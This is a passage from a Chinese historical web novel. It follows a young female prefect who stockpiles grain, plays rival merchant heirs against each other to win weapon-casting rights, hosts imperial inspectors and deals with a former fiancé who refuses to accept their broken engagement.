苏清笑,头也不抬:“你自己都说,徐家的事,我也帮了你的。” 否则你会这么着急赶来? 现在徐家被查抄,叶家其中受益多少,不好估量。 叶山鸣无语,直接坐到椅子上,干脆道:“既然要买粮,何必那样麻烦。” 苏清等的就是这句:“叶大少爷有什么便宜货源?” 叶山鸣在广乐府一带经营的便是粮食买卖,甚至布料都要排在后面。 倘若他们府衙需要,自己也可以从外地运粮过来。 叶山鸣急匆匆过来,自然也是要仗着自己帮了苏清,想来分一杯羹。 苏清自然知道他的意思,甚至早想过从他这购粮。 不过自己提跟叶山鸣提,还是两码事的。 叶山鸣何尝不知。 可苏清如今身份不同。 她已经不是当初的小县令。 而是真正有实权的知府,他主动低头,理所应当。 粮食的事谈完,叶山鸣罕见沉默了下,笑着道:“当初还想请你做分号掌柜。” “现在看来,是我自大了。” 那会只想着苏清当不成县令,必然要另谋生路。 谁想到不仅当了县令,还当上知府。 军中,金陵,都有人脉关系。 还真是,不一般。 苏清不打算忆往昔,只是问起徐家的情况。 “徐家的财产,真的送到金陵了吗?” 他们这边只能得一些小道消息。 但同在扬州的叶家,知道的肯定更详细。 叶山鸣听到这话,笑了又笑,当着其他人的面不好讲,只道:“听说你上次请花家人在我家酒楼吃饭,这次我请你好了。” 苏清看他。 上次酒楼也是你家的? 等苏清赴约,才知道那些话为何不能在衙门讲。 叶山鸣知道苏清吃不了酒,只放了些清茶跟好饭菜,讲了徐家的事。 放在之前,倒卖军中物资或许没那么严重。 但贾内官贪污的数目不小,若能彻底清查出来,还能缓金陵燃眉之急。 说是他们暂住的宫殿需要修缮,急需银钱。 后面徐家的银子更是不少。 全都运到金陵,别说燃眉之急了,宫里众人的日子会好过很多。 “镇守大臣梁公公跟后勤齐内官的奏章,送到金陵的当天晚上,便有御林军前往扬州查抄徐家财产。” 叶山鸣压低声音道:“第二天一早,就运往金陵了。” 苏清听的目瞪口呆。 什么?! 她没听错吧? 奏章刚送过去,罪还没定。 财产就查抄了?! 金陵朝廷,穷疯了吧?! 话都到这了,叶山鸣把金陵朝廷一路逃亡的情况也说了。 那些王公大臣跑的都急,并没有带多少财物。 被追赶途中,还掉落不少。 等他们到金陵时,已经没多少物件。 要说他们没钱吗? 那也不是。 他们家几代人的积累,基本都在京城一带。 可任凭财物堆满库房,粮食烂在粮仓中。 那有什么用。 带不出来,就是带不出来。 一个个成了家财万贯的穷光蛋。 可这些人吃喝用度又十分挑剔。 先霍霍了金陵衙门,又找了周边不少世族。 总之里子面子都丢干净了。 现在盯上徐家这块肥羊,自然不肯松口。 叶山鸣讲的绘声绘色,听的苏清十分无语。 叶山鸣最后笑:“这里面,还有你未婚夫的事呢。” “你未婚夫先帮你求官职,后帮你免税款。” “虽说并非都是他的功劳,可你们伉俪情深,却是世人皆知了。” 叶山鸣却疑惑道:“可他你来广乐府府衙做知府,他爹娘却被丢在南江县。” “已然是有人弹劾你的罪证,跟在挑拨你跟顾从斯的关系。” “不过不用担心,你未婚夫直接驳斥了对方。”叶山鸣意味不明,“看来我不仅低估了你们的能力,还低估了你们感情。” 苏清眼神复杂。 顾教谕夫妇怎么回事。 这点小事都办不成吗?! 好在这个小插曲结束,还是金陵的事重要。 “总之,有了徐家的财产,金陵应该能安生一些。” 叶山鸣说完,又停顿片刻。 苏清果然明白他的意思。 “可是兔死狐悲。”苏清慢慢道,“金陵朝廷这般行事,江南商场,必有动荡。” 叶山鸣无奈。 他急着跑到广乐府,也是想躲一躲。 毕竟这里面,还有他家的手笔。 好在这事做的隐秘,暂时没人知道。 徐家事小。 让江南各家不安,才是大事。 这甚至也怪不了苏清跟叶山鸣。 毕竟谁能想到,金陵朝廷吃相那么难看。 就算想要徐家财产,也要把案子坐实了吧。 这么急急忙忙弄钱,谁人不惊慌。 话到这,叶山鸣都叹了句。 顺昌国十三省,到底哪里是净土。 苏清不答。 他怎么知道。 反正广乐府还有危险。 知道了这些事,苏清更加确定一件事。 广乐府武器铸造权,她必须拿到。 不管用什么办法。 这件事,必须握在自己手中。 第43章 广乐府采买粮食的事情,进行的非常顺利。 叶山鸣也从其他各地调来粮食,从中挣到不少银子。 唯一让苏清有些头疼的是,顾教谕被学政调到官学做训导。 魏吏司拿着调动文书,让苏清批阅的时候,苏清有些无奈。 下面小官吏的调动,她基本不怎么管。 而且教谕分属学政直管,所以这类调动,基本不会被拦。 别的不说,这样突然拦下来,倒显得奇怪。 想到顾从斯在金陵的情况,苏清签了名字,又盖上官印。 说起来,她也确实要找顾教谕夫妇聊聊。 苏清让祝书吏跟云喜帮忙找找合适的房子,让顾教谕夫妇有个居所。 原本会对此事很上心的梅娘,倒是避嫌了。 毕竟两人退婚的事,并未瞒着梅娘。 不过学政调顾教谕来府城,大概率还跟府学预算有关。 她这边说不通,就找自己未来公婆? 苏清并未搭理,继续办手头公差。 如今最紧要的,唯有武器铸造权。 按理说,她现在最该联系的,正是顾从斯。 只是如今身份似乎有些尴尬? 想是这么想,苏清动作可没停,她公事公办,把广乐府想要武器铸造权的事写成信件,寄给顾从斯。 看他积极参与本地免税就知道。 顾从斯本人,也是牵挂这里的。 再有跟齐内官通信,问他的想法。 剩下的,便是再找花家。 上次花景明不愿意多聊,花老爹也没回来。 既如此,还是按照原计划,去找花家大公子跟花家二小姐。 这两位的竞争,在广乐府都是有名的。 甚至因二小姐嫁给本地指挥后,两者更加势均力敌。 广乐府附近左右二县,其中广左县的产业田地,都由大公子经营。 广右县,自然是二小姐的买卖。 这两人颇有些不死不休之感。 但花老爹颇有些乐见其成。 毕竟这两人的竞争,给花家带来的只有好处。 苏清笑了下,下帖子请二位来衙门吃饭。 府衙后宅定是比县衙后宅宽敞的。 其中待客的花厅便非同一般。 如今九月份,正是赏桂的时节,里面三间明间正好招待客人。 花家大公子花承载,二小姐花又菱如约而至。 两人几乎同时收到苏知府的帖子,心里并不疑惑。 官员跟地方家族搞好关系,也是理所应当。 如果他们父亲没去金陵,那应该请的是他。 现在请他们两个,倒是也合适。 他们头一回听到苏清的名字,还是跟小弟有关。 三弟花景明跟她的未婚夫顾从斯关系不错。 当时顾从斯被之前的吏司主事看中,想招过去做女婿。 没想到人家对未婚妻死心塌地。 不过那会谁也没想到,顾从斯会那般被皇上看重。 更没想到,他们眼中不值一提的未婚妻,竟然会成为本府知府。 本来以为只是普通饭局,没想到坐下之后,苏清主动提到:“依松县驻军送来消息,说他们那一切都好,让广乐府百姓们不用担心。” 不用担心? 那就是要担心的意思。 那边的情况,花家自然知道。 还明白金陵没钱,不会给广乐府驻军拨款,一切都要靠眼前这位女知府。 难道她跟花家人吃饭,是为了这个? 朝廷也好,地方官也好,只会从他们口袋里掏钱。 平日里田税商税少过他们吗? 花家二小姐花又菱脸色难看。 见她的表情,花家大少爷花承载准备开口。 多多少少打发一点就行。 现在人人都夸苏知府本事大,他不介意给点好处。 花承载看着苏清,见她笑眯眯的,面容姣好,忍不住坐直身子:“苏知府辛苦,广乐府上下都靠着您办差,军中也指望您呢。” “若是有需要我的,在下在所不辞。” 花又菱冷脸,想看苏清如何应对。 只听她道:“倒真有需要的。” 花又菱皱眉,又听苏清继续道:“听闻花老爷在金陵还未回,正好府衙有个差事,想让花老爷帮帮忙。” 什么差事? 不是问他们要银子吗? 苏清开门见山:“军中需要一批人马盔甲,但如今市面上多数盔甲,都要供给给京郊一带。” “就算能买到,价格也是极高的,广乐府承担不起。” “故而本官同军中商议,最好是自己来造。” “不过盔甲这东西,到底特殊,不出意外的话,会在左右二县,选一地来造。” 此话一出,花家两人齐齐看过来。 造什么? 盔甲? 还要在左右两县来造。 岂不是把钱送到他们花家手中。 不对。 是送到他们其中一人手中。 苏清摆明了态度,想要看他们竞争。 只是,还有一个问题。 花又菱拱手:“此事,金陵那边可同意了?” 盔甲虽不如其他武器那般敏感。 却也是需要皇上同意的。 苏清并不隐瞒:“刚递了奏章上去,托了几个人说项,只看皇上的想法了。” “想着花老爷也在金陵,故而托他走动走动。” “只是不知花老爷住在何处,所以不好寄去信函。” 花承载立刻接话:“这个好办。” “只是不知花知府托了谁去说项,要说税款的事还算好办。” “但铸造盔甲的权限,倒是更难。” 花又菱心道,依松县驻军不仅缺盔甲,也缺武器。 倘若可以,不如直接拿武器铸造权的好。 当然了,这个难度更大。 苏清看着二人表情,就知道他们已经心动。 但面上还是要装一装的。 尤其是花承载,他打定主意吃下盔甲制造的差事,颇有些势在必得。 小弟花景明跟苏清未婚夫关系不错,说不定可以拿来说情。 花又菱想的更深一层。 盔甲,弓箭,武器,是否都能在广乐府制造? 她直接道:“既然都要盔甲铸造权了,不如直接先要武器铸造权,实在不行,也能退而求次。” 苏清这才看向花家二小姐。 她能以出嫁的身份,管着娘家的小半数产业,可见本领。 苏清微微点头:“我也是这般想的,若是能成,对广乐府,对府衙,对花家,对军中,自是极好的。” 一顿饭吃过。 苏清跟花家两人已然达成默契。 等花景明找来时,脸都绿了。 苏清还真是说到做到,真找了他大哥二姐去争取铸造权一事。 确实,谁能拿下这件事,对花家,对他们在花家的地位,都会有改变。 而且苏清明显知道两人的矛盾,还故意让他们竞争。 但苏清一句话,就让花景明无话可说。 “我不说,他们就不争了吗。”苏清耸耸肩,“你爹对此事都乐见其成,何必纠结。” 说着,苏清还谢了花景明之前送的缎子:“我弟弟还挺喜欢的,就是太过贵重,回头要是有合适的礼物,我再给你回礼。” 花景明自然不在意这些,只是坐着看苏清处理公务,再看她平常用的毛笔平平,又起了送她几支好笔的想法。 顾从斯的信里,还让他好好照顾苏清。 可他应该还不知道,两人已经退婚的事情? 算了,还是照顾吧。 毕竟是好友的嘱托。 那就买好笔好墨好纸张送过来。 并非是看不过眼,这才买的。 花景明走后,这些东西就送到苏清书房。 苏清无奈,让人退了回去。 若非公事,真不想再欠顾从斯的了。 所以有些事,还是要抽空去办。 苏清对祝书吏道:“顾训导今日到府城?” 顾教谕已经升为顾训导。 其实不看他跟苏清之前的关系,他就该升官的。 去年乡试,今年童试。 他手底下的学生成绩都不错,按这份教学水平,都该来府城任教。 不过学政特意调他过来。 大家还是明白其中意思的。 看着苏知府主动来探望,学政听了之后,更是忍不住点头。 这下,该给府学批预算了吧。 可惜祝书吏在外面等着,里面的顾家夫妇跟苏清极为尴尬。 顾夫人先是谢了苏清,帮他们提前寻了住处。 苏清点点头,直接道:“退婚书,你们没寄给顾从斯?” 此言一出,两人面面相觑。 四月的退婚书已经写好。 现在九月中旬,一直没寄出去。 其中内情却是不好说的。 苏清见他们吞吞吐吐,只道:“此事还是要提前说明白的好。” “他在金陵为官,也需要地方做支撑。” “我也需要有人在皇上面前说话。” “倘若关系清清楚楚,那一切都好讲。” 若是没退婚,两人关系自不用讲。 就算是退婚了,那也是合作关系,再好不过。 就怕这种不清不楚的,谁都难受。 她想找顾从斯办事,都不知如何开口。 总不能直接说,你知道咱们亲事已经退了吧,但我还有点事要找你帮忙。 这也太生硬了?! 顾训导咬牙:“苏知府放心,我肯定说的,十月之前,必然告知他。” 苏清又看了看他们,点头离开。 等苏清走了,顾家夫妇才叹气。 岂是他们不想说。 在知道儿子下落之后,他们就想写信告知。 两人知道从斯的想法,故而试探了两次,大意是两人相隔甚远,而且都到嫁娶的年纪,其实退婚了最好。 可从斯在信里发了极大的怒气,让他们不要再管此事。 那封信过后,两人哪敢把退婚书寄过去。 只怕寄过去,也会被直接撕掉。 所以一拖再拖,到了现在。 苏清对这些事自然不知情,但对她而言,过了就是过了。 有时间不如看看各地建的粮仓如何了。 趁着农闲,各地该修河堤的修河堤,该修仓库的修仓库。 叶山鸣来来回回跑了几趟。 他没想到的是,苏清要储备的粮食,比他想的还要多。 尤其是南江县那边,今年不大建议卖粮,又修了许多暗仓,只有她的心腹知道在哪。 其他各地粮食虽不如南江县,却也是不少的。 随之而来的,自然是本地粮食价格下来。 但也让各地没什么现银。 叶山鸣不知苏清的想法,却也让自家分号同样囤粮。 跟着苏清做事,多半没什么问题。 整个广乐府在苏清手中,一个月整治官吏,第二个月监督囤粮。 第三个月还没过完,各地粮价终于稳固。 不少旧案被翻出来重审,给不少百姓一条生路。 这对此地百姓来说,已经是极好的了。 他们不求什么大富大贵,只要日子过的平安顺遂即可。 苏清一边处理各县冤案错案,一边等着金陵那边的消息。 她给皇上递的奏章,已然在金陵引起轩然大波。 皇上把奏章看了又看,忍不住对顾从斯道:“爱卿,你未婚妻的奏章虽然写的直白,却深得朕心。” 顾从斯脸色复杂。 他也没想到清清会自己写奏章递上来。 更没想到,大白话也能让她写的慷慨激昂。 主要是这文章的意思。 正契合皇上的心意。 别说皇上了。 太后,王公贵戚,甚至本地士族巨商。 都会被苏清的奏章鼓舞。 她在奏章里写,京郊失守,皋青州还在叛军手中,实乃乱臣贼子的原因。 想要清除叛军,必须顺昌国从上到下努力。 他们广乐府深受皇恩,想为皇上出力,早日助总兵夺回京城,让皇上可以回京云云。 总之一句话。 他们广乐府会尽全力,帮皇上回京,这是苏知府的肺腑之言。 只是他们广乐府力薄,暂时没有办法。 从这开始,提起他们想要武器铸造之劝。 说是上能送到京郊,下能送到依松县驻军。 只有这样,才能让皇上早日回京,重振顺昌国威仪。 回京。 这是皇上,太后等人,最想的事情。 这也是本地世族做梦都想实现的。 前者,自然是觉得此地不好,不如京城舒服。 后者则烦透这些王公贵戚,吃他们的喝他们的,事情还多。 说白了,作为本地的土皇帝,哪希望真皇帝过来? 苏清想要武器铸造权,并不怎么提依松县的驻军,也不提是为了防御皋青州叛军。 只说想帮总兵储备武器,早日夺回京城。 这话简直说到他们所有人的心坎上。 怪不得皇上看了又看,甚至说了句:“若是朕的弟弟知道苏清的想法,必然会高兴的。” 为了武器盔甲,他已经上书许多次。 但各地都不积极,明显在拖延工期。 若有苏清这样的能臣办差,倒是好的。 只是这武器铸造权太过敏感。 能给出去吗? 此时,就要顾从斯,齐内官的人,花家老爷,甚至本地巨商们一起使力了。 本来极难的事情,在苏清手中,似乎没那么困难了? 她这人,到底是运气好,还是暗暗下了功夫? 不管是哪种情况。 九月下旬,皇上下令,让兵部右侍郎冯大人以及翰林学士顾从斯,一起去趟广乐府。 看看广乐府的情况,到底适不适合放开铸造权。 其实就是看看这里的臣子够不够忠心。 只要足够忠诚,那就赶紧造武器,赶紧送到京郊啊。 在京郊附近安营扎寨的总兵也是无奈。 虽说他跟苏清早就没了联系,但她用自己的时候,倒是极为顺手。 手下报告时,晏铮州眼皮抬了抬:“不用管,让她用。” “跟兵部右侍郎联系,告诉他苏清可以信。” “另一人是她未婚夫,他会配合。” 此刻广乐府的苏清,听到皇上派来的两位大臣,立刻笑道:“好了,可以着手筹备了。” 都把顾从斯派来了,说明只是走个流程。 既如此,广乐府的兵工厂,只是时间问题。 听说顾从斯要回广乐府时,最高兴的,莫属顾家夫妇。 而且他们俩也想好了。 择日不如撞日。 退婚的事,就在这次说清楚。 写信到底不如当面讲啊。 同样关注此时的花景明莫名紧张。 他不敢想,若顾从斯知道后,会如何反应。 再看着自己被退回来的各色物件,颇有些烦心。 这些人还在为这种事烦恼。 苏清已经在广乐府郊区选址了。 不管天下如何动乱。 有粮有武器,才是正理! 其他的,都不要紧! 第44章 想要建兵工厂,选址自然极为重要。 一个是隐蔽,二要接近水源,三要交通便捷,四要地方足够大。 想要达到一个要求,就已经不容易了,别说四个全都满足。 苏清带着费秀才祝书吏走了好几日,一直没找到合适的的地方。 花景明跟叶山鸣知道,也帮忙寻了几处。 这样一来,两人也有撞到的时候。 苏清找个了地方吃午饭,两人前后脚跟来,都说看到一处废弃庭院。 花景明道:“那是陈大户家的园子,举家搬走之后,一直搁置,前些年还想找人卖了,但那房子越放越旧,打理也需要几千银子,就没人买了。” “若用来盖工坊,倒是不用那么多钱。” 叶山鸣听了个正着,也介绍起自己找的地方:“是姓宋的一个商户,原本用来做仓库的,他家货物减少,想租给我家。不过地方比较偏,我还在考虑。” 两人说完,互相看看对方,又看向苏清。 花景明皮肤白皙,气质骄矜,一看就是富贵人家的少爷 也就面对苏清时候少些傲气。 叶山鸣面容英气舒展,偏又多几分狐狸般的笑意,也不是能轻易近身的人。 此刻都站在苏清身边,引来旁人下意识关注。 还在吃饭的费秀才跟祝书吏都觉得莫名,苏清让他们坐下,省得被人议论,然后仔细问了两人说的地方,惊奇道:“位置差不多,就隔了一道墙。” 既然这样,那位置应该不错,毕竟被他俩同时看中。 “吃过饭就去看,你们吃饭了吗?” 两人还是看着苏清,叶山鸣坐下来道:“这位是?” 花景明眼神也带着疑惑,明显带着打量。 苏清只好介绍:“这是江南叶家大公子叶山鸣。” “这是花家三少爷花景明。” 要说完全不知道对方,那自然是假的。 但这样碰面,却是头一回。 叶山鸣知道,顾从斯让自己好友多照顾苏清,却没想到这人生得如此丰神俊逸。 自己跟苏清也认识挺长时间,能不知道她就喜欢看长相不错的男子。 花景明对叶山鸣的敌意就更深了。 顾从斯提过这人。 说叶山鸣轻佻,还挑拨过人家未婚夫妇的关系。 一顿饭吃下来,苏清觉得他们俩莫名其妙:“走吧?” “还是说,你们要继续看对方,看到什么时候?” 叶山鸣好笑道:“说什么呢,这不是为你跑腿。” 说着,又摇了摇自己扇子,似乎想到什么。 花景明则没好气道:“跑个腿而已,还邀功吗?” 终于到广乐城北郊,苏清也进了两处园子。 确实如他们所说的,荒芜的时间有些长了。 附近的水源并非天然形成,而是经人工引流过来的湖水,湖水也多年没清理,看起来十分脏乱。 位置足够便宜,也有水源,两处并一处的话,面积也够了。 美中不足的,就是道路不够宽敞。 但选了那么多地方,这里已经算不错的,道路以后慢慢扩宽即可。 苏清在陈大户家园子走了走,里面杂草丛生,屋子也快倒了,唯有房梁还能支撑,问花景明道:“陈大户出价多少?” 说罢又问叶山鸣:“宋商户出价多少。” 这样一讲,颇有些比价的意思。 费秀才还在旁边插话:“看起来都差不多,谁出价便宜!就要谁家的!” 祝书吏也跟着点头。 苏清并不纠正,又往宋家宅子看了看,这里情况确实差不多。 怪不得多年都没卖出去。 两处位于府城郊区的破旧房子。 要花多少钱才能买下,就看双方报价了。 苏清没想压价太多,只请叶山鸣花景明同卖家商议后,再去找户司谈即可。 只是她走在前面,费秀才明显看出双方立刻出现敌意,不仅是对对方的敌意,甚至瞒着苏大人! 费秀才撸起袖子,想要两人不要搞小动作,却被祝书吏拉住,轻轻摇头。 让他们争呗。 宅子价格越低越好。 费秀才不明所以,但知道祝书吏话虽然少,却是靠谱的,乖乖闭嘴。 第二日一早,陈大户跟宋商户不仅把报价送过来,甚至把房契都放到苏清桌案前。 房契上有之前的购置金额,两家都说直接打对折即可。 苏清心里虽奇怪,却也没多想,还跟邬户司道:“你再派人问问,看看能不能再少点,怎么觉得还能压价呢?” 殊不知陈宋两家欲哭无泪。 但两位公子开口了,只能便宜贱卖啊。 也就是房子太过破旧,否则真不值。 更让他们无语的是。 两位少爷告诉他们,谁给的价码低,苏知府就买谁家的。 可现在明明都买了啊?! 你们两个,不会联合苏知府坑我们吧?! 叶山鸣花景明都不说话。 当时或许没反应过来。 但回家之后,以两人的脑子,自然知道苏清的想法。 不过两人都选择顺水推舟,只当不知。 反正苏清不肯吃亏,大家都是知道的。 这样也挺好? 都这样了,府城众人知道,衙门买下他们的破宅子,还在背后嘀咕两人。 说他们太会讨好苏知府了。 是不是知道苏知府位置已稳,忙不迭的巴结?! 是的,现在谁都知道,苏清这个知府位置已经坐稳了。 没看到皇上派来的钦差之一,甚至是她未婚夫? 这般态度,还用得着说吗? 苏清这边选好兵工厂的位置,兵司跟工司甚至已经牵头修建厂房。 只等兵部右侍郎跟顾从斯回来了。 听说花家花老爷跟他们同行,这也是个好消息。 九月二十六,苏清终于接到消息。 还有两日,视察的大人们就要到了。 能不能拿到武器铸造权,就看现在的。 衙门上下都知道这件事的重要性。 甚至隐隐觉得,倘若外面乱了,他们广乐府能造武器,反而是好事。 苏知府跟依松县驻军的关系尚且不提。 只说大人本身的能力,就足够率领本地民众,抵抗外敌。 当然,谁都不希望有这样一天。 可谁都希望,有这样的长官坐镇。 苏清只有两个月时间。 便不再是临时的背锅知府,而是正儿八经的地方长官。 故而九月二十八这里,衙门众人全都整齐衣冠,迎接金陵来的官员。 苏清打头阵,后面跟着各司官吏。 苏清身穿绯色官袍,因是梅娘亲手做的,自然格外贴合。 再加上她身量高挑,远远就能看到最前面的苏知府。 兵部右侍郎冯大人心道,他还没出金陵,就接到不少嘱托。 什么齐内官的人,甚至梁公公的人。 还有总兵大人的口信。 更不用讲,路上顾翰林都要把苏清夸到天上。 加上花老爷想参与铸造武器的差事上,也是夸得不行。 他人还没到呢,似乎都要把武器铸造权的事敲定。 今日见到苏知府,见她遇到这般场面别说不怯场,甚至有控场之感。 在场众人,无不听她指挥。 只她一个眼神,手下鼓乐便动。 要知道,她上任不过两个月,只是个十八岁的女子。 他女儿也是差不多的年纪,还在家里玩蹴鞠呢,整天喊着想打仗想当女将军。 看看人家,人家说当官就当官。 不过这般离经叛道,以后如何嫁人,还是不妥的。 冯侍郎跟苏知府互相拜过,便是顾从斯来拜。 顾从斯如今在翰林院,为从六品的翰林学士,品级比苏清低上不少。 但皇上身边红人,又另当别论,两人也互相拜了拜。 顾从斯嘴唇微动。 从今年正月十六,到现在九月二十八。 虽说只过去八个月时间,在他眼中,却像过了不知多少岁月。 到京城的见闻不提。 逃亡的见闻不提。 到金陵接触过各种事也不提。 顾从斯心里,只有苏清当时说的那四个字,守令爱民。 倘若京城官员,逃亡路上,金陵新朝,他们能做到这四个字。 就不会有如今种种。 甚至都不会逃亡。 苏清看着顾从斯的模样,忍不住叹气。 出门前还是冷清如玉的俊美书生。 现在也是玉,像更冷硬的墨玉。 不用多说,就知道他经历了什么。 这大半年里,所有人都经历了太多。 苏清只扫了一眼,便邀冯侍郎等人前去安置用宴:“舟车劳顿,还是先休息休息再说。” 对于这种安排,金陵来的官吏车马自然是高兴的。 上到冯侍郎用宴 下到马夫仆从吃肉喝汤。 负责此时的梅娘跟朱婶娘,还有武娘子,绝对不会让任何人拉下。 苏清身边的罗主簿武捕头等人,也跟着听吩咐。 费秀才祝书吏,更是打起一万分精神。 旁边的花老爷也没被拉下。 花老爷心中惊奇。 要知道他女儿已经是女中豪杰。 没想到又来一位。 路上他是跟冯侍郎夸赞苏知府,但到底没见过,只是跟着顾翰林,还有小儿子的信里,随便夸夸而已。 现在见到这场面,着实不一样。 跟这样的人合作造兵器盔甲,才更放心啊。 宴席过后,下榻的住所也已安排好。 冯侍郎到底四十多了,很需要好好睡一觉。 刚想喊顾翰林说话,就见他紧紧盯着苏知府,自己摸摸胡子,极有眼力地离开。 其他人陆陆续续散去,顾从斯上前一步,就听苏清道:“你先回趟家吧。” “顾训导他们等的肯定很着急。” 今日这宴会上,来的都是有品级的官吏。 官学训导自是不在的。 顾从斯还有话要说,苏清却坚定道:“去吧,先回去。” 这让顾从斯紧皱眉头,脚步却纹丝不动。 深知内情的花景明知道宴席散了,便匆匆赶来。 叶山鸣看他行色匆匆,是一定要来凑热闹的。 两人之间顾从斯从席面上离开,苏清坐在原地悄悄叹口气。 花景明忍不住上前:“你说了?” 叶山鸣疑惑。 而苏清的话,让他更加疑惑:“我没说,但他会知道的。” 第45章 面对叶山鸣的疑惑,花景明跟苏清都没打算解答。 反正很快,所有人都会知道。 花景明却想了想道:“武器铸造权的事在即,你就不怕?” 这个时候说明退婚的事,不大好吧。 冯侍郎跟顾翰林,就是为了这件事而来。 说白了。 两人的态度,将决定广乐府这事能不能成。 在这会得罪其中任何一个,都不大好吧。 苏清叹口气。 现在不得罪,难道等事成之后再说? 岂不是问题更大,显得她像在骗人一般。 还不如早点说明白,以后都是合作关系。 谁能想到,这事能拖那样久? 再者,这件事上,主要还看冯侍郎的。 而冯侍郎的态度,似乎比她想象中还要好。 顾从斯更不是那样的人。 不过因私废公。 花景明见苏清不甚在意,心道,顾从斯从来做的多,说的少。 只怕苏清实在不知对方的想法。 花景明咬咬牙,也往顾家方向走去。 也就叶山鸣沉吟片刻,福至心灵道:“你跟顾从斯的婚事?” “没了?” 最后两个字,被叶山鸣说的颇有些惊喜。 这么来看,那就没错了。 就看顾从斯爹娘来府城的时间,便有些不对劲。 叶山鸣笑道:“我就知道。” 他知道什么? 苏清懒得理他,不过也明白。 叶山鸣却不走,继续道:“他家想法古板,怎么可能。” 说到这,苏清就知道他后面的意思。 顾家想法古板,既讲忠君爱国,也讲君君臣臣,更讲男女有别。 在苏清没了父亲时,他家虽不愿意,却也没提退亲的事。 等苏清做了主事,再做县令,已经是他家忍不了的。 一心想着让顾从斯考上举人之后离开。 想到未来儿媳不仅抛头露面,还整日跟许多男子厮混,顾家夫妇便气不打一处来。 说是她身边有女子做书吏,但来往之人,还是男子较多。 费开宇这种人就不用说了,叶山鸣当初想让苏清去做分号掌柜,也是众人皆知的。 “还有花家三少爷。”顾夫人痛心疾首道,“他受你嘱托照顾苏清?” “三天两头送东西过来,一会是上好的绸缎,一会是文房四宝。” “甚至换着法的替她寻好东西,这是替你照顾吗?” 顾从斯来到府城家中,拜了爹娘,少叙闲言。 不等他问,顾家夫妇便忍不住把退婚书拿出来。 眼看儿子脸色愈来愈差,顾夫人忍不住说出心中实话。 从苏清父亲去世再到如今的情景,继续:“别说她这知府能做多久,就算做一辈子,咱们家也不稀罕。” 顾训导点头,闭上眼道:“如此有辱家风之人,绝不能入我家家门。” “别看人人都夸她,但以后呢?她一个女子,难道还能做一辈子的官?” “你前途远大,不能被她拖累!” “一个叶山鸣还不够,又来个花景明,听说她跟军中什么连千总也私交甚密。” “从斯,你真的不介意?” 顾从斯眼神只在退婚书上,再看到上面的日期。 原来今年四月份,她就写了退婚书。 所以这段时间以来,才那样冷淡吗。 如果是这样的话。 他反而好受些。 并不是讨厌他,只是没了婚事,不想纠缠。 顾从斯缓缓抬头,让顾家夫妇下意识止住话,就听他道:“我不介意。” “只要最后成亲的是我们,我不介意她身边有多少人。” 此话一出,顾训导几乎要气被过去。 这是什么意思?! 荒唐! 太荒唐了! 可顾从斯却把退婚书收好,只道:“从未有过退婚之事。” “不管金陵还是广乐府。” “都知道我们是情投意合的未婚夫妇。” 顾从斯转身要离开,却听顾夫人直接道:“她要是跟你情投意合,就不会那么快答应退婚!” 她才不介意退婚。 当时为了争取时间,苏清直接跟顾家夫妇达成协议。 用花景明当时的话说。 她卖顾从斯,卖的毫不留情。 顾从斯握紧拳头,走出家门。 花景明跟他正好撞见,两人相视无言,就听顾从斯道:“多谢你帮我照顾未婚妻。” “以后不用了。” 此言一出,花景明眼神微冷,笑着道:“好吧。” 花景明又道:“你不会在武器铸造上为难她吧?” “这事对她,极为重要。” 顾从斯不答,径直离开。 反观此刻的府衙,叶山鸣笑的眼睛都看不见,也不知道高兴什么。 看吧,他早就说过,两人不合适的。 现在还不是退婚了。 看来他还是神机妙算的。 苏清并不理他,直接请他离开。 今日事情已经够多了,明日更要招待冯侍郎等人。 等钦差等人巡查过后,就知道他们对武器铸造权的意见。 第二日一早。 苏清带着钦差巡查各处,皆是例行公事。 要说巡查,其实没什么好说的。 无非看看此地吏政是否清明,再看看有无疏漏。 以及本地官员对皇上是否忠心。 尤其是后者,只有确定这一点,皇上才肯放权。 可为首的冯侍郎得了总兵嘱托,对苏清还是十分信任的。 总兵的性格品行自不用说,天底下没有比他更忠君的。 他推荐的人,总不会差。 即便如此,广乐府的情况,还是比冯侍郎想象中要好。 一个女子能坐稳知府的职位,必然比其他人强上百倍。 否则怎么能服人。 三日过去,冯侍郎是很满意的,心也放到肚子里。 虽说他得了其他人的嘱托。 但自己本身,也觉得铸造权这事可行。 听着冯侍郎的暗示,苏清难得真切笑了。 事情进展的顺利,大家都十分高兴。 冯侍郎放松下来,调侃了句:“这也算有缘,等你跟顾翰林成亲时,一定要请我吃杯喜酒啊。” 苏清下意识看向顾从斯。 这正是个澄清的好时候。 此刻当着众人的面说明白,对顾从斯,对自己,都好。 以后顾家不用有一个她这样的未来儿媳。 对自己来讲,铸造权的事清晰明了,不会被任何人诟病。 “好。”顾从斯笑,“下官也有意早日完婚。” 苏清不敢置信:“顾从斯?” 顾从斯不敢看她,眼皮微微颤抖,只对冯侍郎道:“到时候,一定请侍郎大人。” “好好好。”冯侍郎开怀大笑,“走吧,咱们也回去商议商议,这差事要赶紧办完,皇上那边还等信呢。” 广乐府衙门众人长舒口气。 听听这意思。 他们广乐府很快就能造武器了! 太好了! 这样又能省一大笔银子! 他们知府大人,还真是省钱小能手! 顾从斯跟着点头,又道:“冯侍郎,下官稍后便到。” 冯侍郎看着他们两个,又哈哈大笑,不甚在意道:“好好好,不着急。” 别说冯侍郎如此有眼力。 就连衙门众人也纷纷离开。 一时间,书房内只剩苏清,费秀才,祝书吏跟顾从斯。 不管顾从斯怎么看那两人,他们都不肯走,还是苏清道:“你们先去忙,我同顾翰林有话要说。” 其他人全都离开,顾从斯才找位置坐下。 苏清依旧在书案后面。 如今府衙的书房,跟当初县衙书房有些相似。 只是空间跟大了些,桌椅更多了。 就连苏清面前的文房四宝,都跟之前不同。 两人沉默片刻。 顾从斯先开口:“四月份的事,是我家不对。” “没想到之前的吏司主事还未放弃。” 苏清听他说了这话,也道:“反正都过去了。以后咱们还是好友同僚,你爹娘的想法也没错。” 苏清极为认真道:“朝中局势多变,没必要让人多拿一个把柄。” “我是把柄,还是你是把柄?”顾从斯不再遮掩,自己道,“退婚的事,我不同意,就当没发生过。” 这还有同不同意的? 苏清干脆也直接说道:“你不是早就想退亲了,何必如此。以你的情况,在金陵寻门亲事最合适,总比自己单打独斗的好。” “我这个情况你也知道,还未成亲,就会被人多番议论。” “倘若真成亲了,说不得什么大儒就让我回家相夫教子。” “所以不管从哪方面看,这亲事都不能成。” 甚至官职越高,这种风险就越大。 她才不要回到内宅。 好不容易走上这个位置,她就不会往后退。 苏清决心已然表明,任谁都知道,让她在顾从斯跟官位上。 